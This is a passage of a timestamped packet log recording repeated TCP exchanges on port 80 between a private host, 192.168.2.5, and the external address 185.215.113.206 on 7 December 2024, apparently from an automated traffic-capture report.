Dec 7, 2024 08:43:39.078876019 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.078922033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.079608917 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.079657078 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.079711914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.079757929 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.080437899 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.080490112 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.080521107 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.080566883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.081358910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.081408978 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.081437111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.081481934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.082130909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.082178116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.082243919 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.082292080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.082972050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.083014965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.083049059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.083093882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.083832979 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.083880901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.083910942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.083956957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.084705114 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.084752083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.084783077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.084825039 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.085508108 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.085556984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.085604906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.085650921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.086385965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.086433887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.086474895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.086518049 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.087210894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.087258101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.087306976 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.087352037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.088032961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.088080883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.088131905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.088177919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.088900089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.088947058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.089025974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.089072943 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.089760065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.089807987 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.089834929 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.089876890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.090568066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.090610981 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.090677977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.090715885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.091423035 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.091474056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.091527939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.091573000 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.092230082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.092273951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.092346907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.092395067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.093081951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.093130112 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.093185902 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.093231916 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.093940973 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.093990088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.094037056 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.094082117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.094801903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.094850063 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.094911098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.094958067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.095642090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.095690966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.095716953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.095762968 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.096493006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.096539974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.096580982 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.096626043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.097296953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.097345114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.097388983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.097434998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.098139048 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.098180056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.098244905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.098290920 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.099174023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.099205017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.099219084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.099245071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.099836111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.099884033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.099950075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.099996090 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.100671053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.100718021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.100780010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.100826979 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.101556063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.101603985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.101679087 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.101725101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.102360010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.102406025 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.102473021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.102519035 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.103226900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.103275061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.103353024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.103401899 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.104060888 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.104114056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.104175091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.104217052 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.105077028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.105123043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.105185986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.105236053 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.105766058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.105812073 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.105885029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.105933905 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.106594086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.106641054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.106723070 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.106765985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.107428074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.107476950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.107530117 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.107570887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.108272076 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.108319044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.108381987 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.108428955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.109136105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.109184980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.109210968 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.109253883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.109983921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.110021114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.110090971 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.110136032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.110825062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.110893011 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.110918999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.110929012 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.111675024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.111725092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.111758947 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.111808062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.112607002 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.112659931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.112683058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.112729073 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.113349915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.113398075 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.113415003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.113445044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.114211082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.114253998 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.114258051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.114290953 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.114995003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.115041018 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.263245106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.263258934 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.263351917 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.263670921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.263725996 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.263799906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.263847113 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.264579058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.264627934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.264703035 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.264750957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.265352964 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.265403032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.265480042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.265525103 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.266278028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.266329050 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.266413927 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.266459942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.267255068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.267266989 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.267307997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.267931938 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.267980099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.268063068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.268110037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.268704891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.268754005 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.268982887 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.269030094 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.269608021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.269655943 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.269731998 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.269779921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.270603895 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.270615101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.270656109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.271378040 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.271428108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.271521091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.271565914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.272156000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.272206068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.272291899 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.272337914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.273032904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.273078918 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.273206949 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.273257971 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.273883104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.273932934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.274143934 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.274189949 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.274661064 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.274708033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.274796009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.274844885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.275608063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.275620937 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.275661945 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.276428938 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.276473999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.276607037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.276653051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.277292013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.277337074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.277416945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.277463913 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.278206110 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.278218031 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.278254986 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.278842926 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.278889894 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.278968096 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.279014111 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.279824018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.279835939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.279876947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.373887062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.493680954 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.811093092 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.811218977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.811378956 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.811445951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.811520100 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.811558008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.811621904 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.812277079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.812328100 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.812375069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.812417984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.813127041 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.813174009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.813215971 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.813256979 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.813956022 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.814007998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.814065933 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.814106941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.814817905 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.814868927 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.814934969 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.814984083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.815648079 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.815696955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.815773964 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.815821886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.816515923 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.816565037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.816626072 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.816673040 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.817322016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.817373991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.817425966 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.817467928 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.818171024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.818217993 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.818274021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.818321943 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.819061995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.819109917 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.819175959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.819227934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.819871902 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.819921017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.820055008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.820100069 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.820715904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.820759058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.820816994 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.820863008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.821588039 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.821635962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.821758986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.821805954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.822437048 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.822484016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.822515011 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.822556019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.823245049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.823292017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.823411942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.823457956 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.824084997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.824131966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.824158907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.824208975 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.824927092 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.824971914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.825036049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.825083017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.825762987 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.825812101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.825812101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.825846910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.826613903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.826658964 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.826738119 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.826785088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.827476978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.827523947 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.827600002 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.827646017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.828304052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.828350067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.828421116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:39.828468084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:39.829140902 CET	80	49759	185.215.113.206	192.168.2.5
